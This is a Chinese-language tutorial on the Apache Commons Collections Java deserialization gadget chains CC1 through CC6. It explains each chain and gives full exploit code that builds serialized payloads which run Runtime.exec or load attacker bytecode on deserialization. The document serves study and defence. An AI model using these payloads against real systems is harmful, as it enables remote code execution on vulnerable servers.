Apache Commons Collections反序列化漏洞全系列详解
前言
Apache Commons Collections (CC)反序列化漏洞是Java安全领域的重要课题。本文全面解析CC1-CC6漏洞链,涵盖TransformedMap、LazyMap、TemplatesImpl等多种利用方式,深入分析各链的构造原理和利用技巧。
环境配置
基础环境:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
CC4需要额外依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
CC1链分析
CC1有两条利用链:TransformedMap和LazyMap。
TransformedMap链
核心组件
-
InvokerTransformer
- 位于
org.apache.commons.collections.functors transform方法可实现任意方法调用
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(Runtime.getRuntime()); - 位于
-
TransformedMap
checkSetValue方法调用transform- 通过
decorate静态方法构造
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); -
AbstractInputCheckedMapDecorator
- TransformedMap的父类
- 内部类
MapEntry的setValue调用checkSetValue
for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); } -
AnnotationInvocationHandler
- JDK内部类,
readObject中调用setValue - 需要通过反射实例化
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cl = c.getDeclaredConstructor(Class.class,Map.class); Object o = cl.newInstance(Override.class,transformedMap); - JDK内部类,
完整利用链
反序列化#readObject ->
AnnotationInvocationHandler#readObject ->
MapEntry#setValue ->
transformedMap#checkSetValue ->
InvokerTransformer.transform
Runtime序列化问题解决
使用ChainedTransformer链式调用:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
完整EXP
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 构造TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// 反射构造AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cls = c.getDeclaredConstructor(Class.class,Map.class);
cls.setAccessible(true);
Object o = cls.newInstance(Target.class,transformedMap);
// 序列化与反序列化触发
serialize(o);
unserialize("ser.bin");
LazyMap链
核心差异点
-
LazyMap.get()
- 当key不存在时调用
factory.transform
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); - 当key不存在时调用
-
AnnotationInvocationHandler.invoke()
- 调用
get方法 - 通过动态代理触发
- 调用
-
利用链
反序列化#readObject -> AnnotationInvocationHandler#readObject(调用entrySet) -> 动态代理调用invoke -> LazyMap.get -> InvokerTransformer.transform
完整EXP
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 构造LazyMap
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
// 反射构造AnnotationInvocationHandler并创建代理
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cls = c.getDeclaredConstructor(Class.class,Map.class);
cls.setAccessible(true);
InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);
Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
new Class[]{Map.class},h);
Object o = cls.newInstance(Override.class,maproxy);
// 序列化与反序列化触发
serialize(o);
unserialize("ser.bin");
CC6链分析
特点:不受JDK版本限制,结合HashMap和LazyMap。
核心组件
-
TiedMapEntry
hashCode和toString方法调用getValue
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa"); -
HashMap.readObject
- 反序列化时调用
hashCode
- 反序列化时调用
利用链
HashMap#readObject ->
TiedMapEntry#hashcode ->
LazyMap#get ->
InvokerTransformer.transform
完整EXP
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 构造LazyMap和TiedMapEntry
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");
// 构造HashMap并添加元素
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aa"); // 移除key确保触发transform
// 反射修改factory
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);
// 序列化与反序列化触发
serialize(map2);
unserialize("ser.bin");
CC3链分析
特点:使用TemplatesImpl实现动态类加载,绕过InvokerTransformer限制。
TemplatesImpl链
-
TemplatesImpl.TransletClassLoader#defineClass()
- 加载字节码
-
TemplatesImpl#defineTransletClasses()
- 调用defineClass
-
TemplatesImpl#getTransletInstance()
- 初始化加载的类
-
TemplatesImpl#newTransformer()
- 公开方法触发链
利用链
InvokerTransformer.transform ->
TemplatesImpl.newTransformer ->
getTransletInstance ->
defineTransletClasses ->
TransletClassLoader.defineClass
恶意类要求
必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
完整EXP
// 加载恶意类
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
// 设置必要字段
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field _tfField = tc.getDeclaredField("_tfactory");
_tfField.setAccessible(true);
_tfField.set(templates, new TransformerFactoryImpl());
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 构造LazyMap和动态代理(同CC1)
// ...
使用InstantiateTransformer绕过InvokerTransformer
-
TrAXFilter
- 构造函数调用
newTransformer
- 构造函数调用
-
InstantiateTransformer
- 通过反射调用构造函数
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
绕过EXP
// 构造InstantiateTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 后续构造同CC1
// ...
CC4链分析
特点:使用CC4包的TransformingComparator。
核心组件
-
TransformingComparator#compare()
- 调用
transform
- 调用
-
PriorityQueue
readObject触发比较- 需要两个元素触发
siftDown
利用链
PriorityQueue#readObject ->
heapify ->
siftDown ->
siftDownUsingComparator ->
compare ->
transform
完整EXP
// 构造TemplatesImpl(同CC3)
// ...
// 构造InstantiateTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 构造PriorityQueue
TransformingComparator transformingComparator = new TransformingComparator<>(
new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
// 反射修改transformer
Class c = transformingComparator.getClass();
Field transformingComparatorfield = c.getDeclaredField("transformer");
transformingComparatorfield.setAccessible(true);
transformingComparatorfield.set(transformingComparator, chainedTransformer);
// 序列化与反序列化触发
serialize(priorityQueue);
unserialize("ser.bin");
CC2链分析
简化版CC4,直接调用newTransformer。
关键差异
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>(
"newTransformer", new Class[]{}, new Object[]{});
CC5链分析
特点:利用TiedMapEntry的toString方法。
核心组件
- BadAttributeValueExpException
readObject调用toString
利用链
BadAttributeValueExpException#readObject ->
valObj.toString ->
TiedMapEntry#toString ->
getValue ->
LazyMap#get ->
transform
完整EXP
// 构造Transformer链和LazyMap(同CC6)
// ...
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "qq");
lazyMap.remove("qq");
// 构造BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException =
new BadAttributeValueExpException(null);
Class b = badAttributeValueExpException.getClass();
Field bfield = b.getDeclaredField("val");
bfield.setAccessible(true);
bfield.set(badAttributeValueExpException, tiedMapEntry);
// 反射设置factory(同CC6)
// ...
// 序列化与反序列化触发
serialize(badAttributeValueExpException);
unserialize("ser.bin");
总结
CC链的核心是寻找能够从readObject触发transform方法的调用链。各版本CC链的主要区别在于中间组件的选择和组合方式。理解这些链的关键在于:
- 识别触发点(readObject)
- 找到transform的调用路径
- 解决序列化限制(Runtime不可序列化等问题)
- 绕过防御措施(高版本JDK限制等)
通过灵活组合不同组件,可以构造出适应不同环境的利用链。掌握这些链的原理和构造方法,对于Java反序列化漏洞分析和防御具有重要意义。